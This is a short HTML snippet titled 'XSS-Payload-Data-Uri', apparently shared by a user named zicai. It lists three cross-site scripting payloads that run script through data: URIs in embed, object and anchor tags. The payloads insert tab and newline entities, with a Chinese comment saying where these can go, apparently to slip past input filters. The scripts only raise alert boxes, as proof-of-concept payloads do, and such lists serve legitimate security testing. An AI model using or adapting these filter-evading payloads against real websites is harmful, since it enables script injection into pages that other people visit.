XSS-Payload-Data-Uri

by zicai

HTML

<!-- 某些位置可以插入 &Tab; &NewLine;  -->

<embed src="data:text/html&NewLine;,<script>alert('embed-src')</script>" type="">

<object data="data:text/html&Tab;,<script>alert('object-data')</script>" type=""></object>

<a href="data:text/html,&Tab;<script>alert('a-href')</script>">click me</a>